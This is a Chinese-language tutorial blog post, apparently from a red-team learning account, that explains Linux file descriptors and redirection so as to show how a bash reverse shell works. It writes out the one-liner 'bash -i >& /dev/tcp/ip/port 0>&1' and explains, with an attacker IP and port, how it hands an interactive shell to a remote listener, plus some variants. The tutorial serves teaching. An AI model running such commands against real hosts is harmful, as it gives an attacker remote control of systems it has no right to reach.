这里说Linux重定向的原因主要还是为了详细了解一下Linux中的反弹shell
目录
0x01 文件描述符
0x02 重定向
0x03 反弹shell
0x04 交互重定向
0x05 命令变形
0x01 文件描述符
Linux的文件描述符有以下三种
标准输入:0
标准输出:1
错误输出:2
对于文件描述符就先知道这些就可以了,具体的使用会在重定向中来说,重定向就是对文件描述符的操作
0x02 重定向
重定向主要分为以下两种
输入重定向 <
、<<
输出重定向 >
、>>
通过下面的两张图就可以很明白的看出来他们的用途了
我们这里的输出重定向>
,就相当于是1>
,输入重定向 <
,就相当于是0<
那如果要使用错误输出的话,就必须写成 2>
我们也可以把错误的内容重定向到另一个文件中的
下面这个操作,我们就可以把正确的结果放到test.txt,而把错误的结果放到test1.txt文件中
同样也可以将结果和错误输出一起输出到一个文件中去
在正常输入的命令结尾加上2>&1
就可以实现了,这个语句可以理解为将错误输出与标准输出一致,也就是将他们输出到一个文件中来
其实这里的&
符号是为了区分文件跟文件描述符的,如果这里没有&
符号,系统会把它理解为文件,而不是标准输出
0x03 反弹shell
下面是很常见的一条反弹shell命令,我们就以这个为例来进行解释
bash -i >& /dev/tcp/ip/port 0>&1
解释
bash -i
表示创建一个交互式的shell,可以在帮助文档中看到
/dev/tcp/ip/port
实际上这个文件不是存在的,但是当你在监听这个端口的时候,对这个文件进行读写,就可以实现两个主机之间的socket通信
首先我们在本地开启监听,然后在Linux机器上输入下面的命令,即将指定字符发送到192.168.6.1
的3333
端口
0>&1
将标准输入和标准输出重定向到指定的文件中
如果把这条命令改成2>&1
可能会更容易理解一点
如果理解了上面这个的话,对于这个就很容易理解了
>&
将前面的后和后面的一致,就是将交互式的shell传给我们的远程主机
理解了上面的内容,我们将标准输出改为标准输入,看一下会发生什么事情
0x04 交互重定向
理解了上面的内容之后,我们在一步步分解一下交互式shell
使用下面的语句可以将输出内容发送到攻击机上
但是这样会有一个问题,攻击者没有实现对此主机的完全控制,是不能在受害主机中运行命令的,此时我们还会想起来另一条命令,将它转换成标准输入
这样我们就实现了从攻击机输入命令进行控制,然后我们将两条命令合并一下,将标准输入和标准输出都指向到远程主机上,即实现交互式shell
在这个情况下的逻辑就是,从/dev/tcp/192.168.1.6/3333
获取输入,然后将输出重定向到/dev/tcp/192.168.1.6/3333
,从而形成了一个回路
但是这里面还是有一个问题的,可以看到我们输入的命令在受害主机上还是会显示出命令的,所以还是需要进行改进的
我们上面也说了如何将所有的正确和错误信息都重定向到一起,这里就可以使用这个方法来进行处理
可以看到所有产生的消息都在攻击机上显示出来了,这样就达到了我们最初的目的了
我们也可以使用与之等价的命令来进行操作,也就是我们最前面所写出来的那一条命令
0x05 命令变形
如果我们把 0>&1
改成 0<&1
将会发生什么
可以发现两者的效果是一样的,它们唯一的不同是打开文件时候的方式不同,其他的内容都与我们前面说的是一样的
同样的,我们将 0>&1
变为 0>&2
是一样的效果
至于其他的变形类型的,就按照上面所说的那些东西自己去推算即可。
文章首发公众号:无心的梦呓(wuxinmengyi)
这是一个记录红队学习、信安笔记,个人成长的公众号
扫码关注即可